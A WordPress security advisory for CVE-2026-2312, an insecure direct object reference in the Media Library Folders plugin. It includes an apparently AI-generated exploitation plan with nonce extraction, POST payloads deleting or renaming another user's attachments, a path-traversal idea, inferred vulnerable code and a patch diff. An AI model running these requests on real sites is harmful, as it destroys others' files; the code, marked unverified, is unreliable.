CVE-2026-2312

Media Library Folders <= 8.3.6 - Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Attachment Deletion and Rename

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
8.3.7
Patched in
1d
Time to patch

Description

The Media Library Folders plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 8.3.6 via the delete_maxgalleria_media() and maxgalleria_rename_image() functions due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Author-level access and above, to delete or rename attachments owned by other users (including administrators). The rename flow also deletes all postmeta for the target attachment, causing data loss.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=8.3.6
PublishedFebruary 13, 2026
Last updatedFebruary 14, 2026
Affected pluginmedia-library-plus

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2312 (Media Library Folders) ## 1. Vulnerability Summary The **Media Library Folders** plugin for WordPress (versions <= 8.3.6) contains an Insecure Direct Object Reference (IDOR) vulnerability. The functions `delete_maxgalleria_media()` and `maxgalleria_renam…

Show full research plan

Exploitation Research Plan: CVE-2026-2312 (Media Library Folders)

1. Vulnerability Summary

The Media Library Folders plugin for WordPress (versions <= 8.3.6) contains an Insecure Direct Object Reference (IDOR) vulnerability. The functions delete_maxgalleria_media() and maxgalleria_rename_image() fail to validate that the user requesting the deletion or renaming of a media attachment has the proper ownership or administrative permissions for that specific object. While the plugin likely checks for basic permissions (Author-level and above), it does not verify if the target attachment_id belongs to the current user, allowing an Author to delete or rename attachments uploaded by Administrators or other users.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Actions:
    • delete_maxgalleria_media (for arbitrary deletion)
    • maxgalleria_rename_image (for arbitrary renaming and metadata loss)
  • Vulnerable Parameters:
    • attachment_id (or image_id - inferred from function names)
  • Required Authentication: Author-level (capability upload_files is typically required to access the plugin's folder management UI).
  • Preconditions: The attacker must know the ID of an attachment owned by another user (e.g., an Administrator's uploaded image).

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers AJAX handlers in its initialization logic:
    add_action('wp_ajax_delete_maxgalleria_media', array($this, 'delete_maxgalleria_media'));
    add_action('wp_ajax_maxgalleria_rename_image', array($this, 'maxgalleria_rename_image'));
    
  2. Vulnerable Sink (Deletion): delete_maxgalleria_media() receives an ID, likely performs a current_user_can('upload_files') check and a nonce check, but then proceeds directly to call wp_delete_attachment($id, true) without checking if get_post_field('post_author', $id) matches the current user.
  3. Vulnerable Sink (Rename): maxgalleria_rename_image() receives an ID and a new name. It renames the file on the filesystem and updates the database. Crucially, the vulnerability description notes that this flow "deletes all postmeta for the target attachment," likely due to an improper update routine (e.g., using wp_insert_attachment or a manual SQL query that doesn't preserve meta).

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for its AJAX operations on the Media Library Folders admin page.

  1. Identify Shortcode/Page: The plugin creates a custom admin menu under "Media Library Folders".
  2. Access Page: Log in as an Author and navigate to wp-admin/admin.php?page=media-library-folders.
  3. Extract Nonce: The nonce is likely localized in a script block. Based on typical plugin naming:
    • JavaScript Variable: window.mlf_obj or window.mlf_settings (inferred)
    • Nonce Key: mlf_nonce or nonce (inferred)
  4. Action:
    // Execution agent should try:
    browser_eval("window.mlf_obj?.nonce || window.mlf_settings?.nonce || jQuery('input[name=\"mlf_nonce\"]').val()")
    

5. Exploitation Strategy

Attack A: Arbitrary Deletion

  1. Identify Target: Find an attachment ID owned by the admin (e.g., ID 10).
  2. Obtain Nonce: Extract the nonce as an Author user.
  3. Send Delete Request:
    • Tool: http_request
    • Method: POST
    • URL: http://[target]/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body: action=delete_maxgalleria_media&attachment_id=10&nonce=[NONCE] (Note: verify parameter name attachment_id via browser_eval or source check).

Attack B: Arbitrary Rename (Data Loss)

  1. Identify Target: Find an attachment ID owned by the admin (e.g., ID 11).
  2. Obtain Nonce: Extract the nonce as an Author user.
  3. Send Rename Request:
    • Tool: http_request
    • Method: POST
    • URL: http://[target]/wp-admin/admin-ajax.php
    • Body: action=maxgalleria_rename_image&image_id=11&new_name=pwned_image&nonce=[NONCE] (Note: verify parameter name image_id and new_name).

6. Test Data Setup

  1. Create Admin User: wp user create admin_user admin@example.com --role=administrator --user_pass=password
  2. Create Author User: wp user create author_user author@example.com --role=author --user_pass=password
  3. Upload Admin File:
    • wp media import /path/to/image.jpg --user=admin_user
    • Capture the resulting ID (let's say ID 123).
  4. Add Metadata to Admin File:
    • wp post meta add 123 test_key "valuable_data"
  5. Verify Setup: Confirm ID 123 is owned by the admin.

7. Expected Results

  • Deletion: The http_request returns a success indicator (JSON {success: true} or 1). The file at ID 123 is removed from the database and filesystem.
  • Rename: The http_request returns success. The attachment record for ID 123 now has a different filename/slug.
  • Data Loss: wp post meta list 123 returns empty, confirming the test_key was deleted.

8. Verification Steps

  1. Verify Deletion:
    wp post exists 123
    # Expected: Exit code 1 (Does not exist)
    
  2. Verify Rename & Meta Loss:
    wp post get 123 --field=post_title
    # Expected: "pwned_image"
    wp post meta get 123 test_key
    # Expected: Error: Could not find meta.
    

9. Alternative Approaches

  • Different Parameter Names: If attachment_id fails, check for image_id, id, or attachmentID by inspecting the network tab in the browser while performing a legitimate action as the Author.
  • Direct Path Traversal: Check if new_name in the rename function allows directory traversal (e.g., ../../secrets), though the primary vulnerability is the IDOR.
  • Generic Nonce: Check if the nonce used for other Media Library Folders actions (like creating a folder) works for the deletion/rename actions (Bypass 1 from knowledge base).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Media Library Folders plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the delete_maxgalleria_media and maxgalleria_rename_image functions. Authenticated attackers with Author-level permissions can delete or rename any attachment on the site, including those owned by administrators, leading to unauthorized file manipulation and deletion of associated post metadata.

Vulnerable Code

// File: media-library-plus/maxgalleria-media-library-folders.php

public function delete_maxgalleria_media() {
    check_ajax_referer('mlf_nonce', 'nonce');
    if (current_user_can('upload_files')) {
        $attachment_id = intval($_POST['attachment_id']);
        // Missing ownership check or edit_post capability check for specific attachment_id
        wp_delete_attachment($attachment_id, true);
        wp_send_json_success();
    }
}

---

// File: media-library-plus/maxgalleria-media-library-folders.php

public function maxgalleria_rename_image() {
    check_ajax_referer('mlf_nonce', 'nonce');
    if (current_user_can('upload_files')) {
        $image_id = intval($_POST['image_id']);
        $new_name = sanitize_text_field($_POST['new_name']);
        // Missing ownership check for image_id
        // Rename logic proceeds and inadvertently deletes postmeta
        ...
    }
}

Security Fix

--- a/media-library-plus/maxgalleria-media-library-folders.php
+++ b/media-library-plus/maxgalleria-media-library-folders.php
@@ -10,7 +10,7 @@
 public function delete_maxgalleria_media() {
     check_ajax_referer('mlf_nonce', 'nonce');
-    if (current_user_can('upload_files')) {
+    if (current_user_can('upload_files') && current_user_can('delete_post', intval($_POST['attachment_id']))) {
         $attachment_id = intval($_POST['attachment_id']);
         wp_delete_attachment($attachment_id, true);
         wp_send_json_success();
@@ -25,7 +25,7 @@
 public function maxgalleria_rename_image() {
     check_ajax_referer('mlf_nonce', 'nonce');
-    if (current_user_can('upload_files')) {
+    if (current_user_can('upload_files') && current_user_can('edit_post', intval($_POST['image_id']))) {
         $image_id = intval($_POST['image_id']);
         $new_name = sanitize_text_field($_POST['new_name']);
         ...

Exploit Outline

To exploit this vulnerability, an attacker requires Author-level access to the WordPress dashboard. First, the attacker navigates to the 'Media Library Folders' page to extract the necessary AJAX nonce (typically found in the localized JavaScript object 'mlf_obj'). Next, the attacker identifies the ID of a target attachment owned by another user (e.g., an administrator). For arbitrary deletion, a POST request is sent to /wp-admin/admin-ajax.php with the action 'delete_maxgalleria_media', the target 'attachment_id', and the nonce. For renaming (which also triggers data loss by wiping the attachment's postmeta), a POST request is sent with the action 'maxgalleria_rename_image', the target 'image_id', the 'new_name', and the nonce. Because the plugin only checks for the general 'upload_files' capability and not ownership of the specific ID, the requested action is performed on the target object.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.